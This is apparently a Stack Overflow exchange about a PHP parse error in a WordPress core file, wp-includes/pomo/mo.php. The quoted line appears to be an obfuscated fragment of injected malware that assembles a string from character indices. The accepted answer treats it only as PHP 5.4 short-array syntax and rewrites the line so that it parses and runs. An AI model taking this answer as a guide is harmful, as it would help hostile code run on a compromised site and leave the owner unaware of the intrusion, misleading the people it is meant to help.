-1

My running site is blocked due to an error and I don't know what's the issue is, the error Parse error: syntax error, unexpected '[' in /home/content/62/11926462/html/wp-includes/pomo/mo.php on line 11

a

Zain Khan
  • 1,644
  • 5
  • 31
  • 67

1 Answers1

0

Short hand array syntax ([] instead of array()) is introduced in PHP 5.4.

Short array syntax has been added, e.g. $a = [1, 2, 3, 4]; or $a = ['one' => 1, 'two' => 2, 'three' => 3, 'four' => 4];.

In your case, array() should be used.

Modify the line:

foreach([5,27,17,24] as $I){ $zhKCdRnW8701 .= $EKwVrQip9212[$I]; } 

As

foreach(array(5,27,17,24) as $I){ $zhKCdRnW8701 .= $EKwVrQip9212[$I]; } 
Pupil
  • 23,834
  • 6
  • 44
  • 66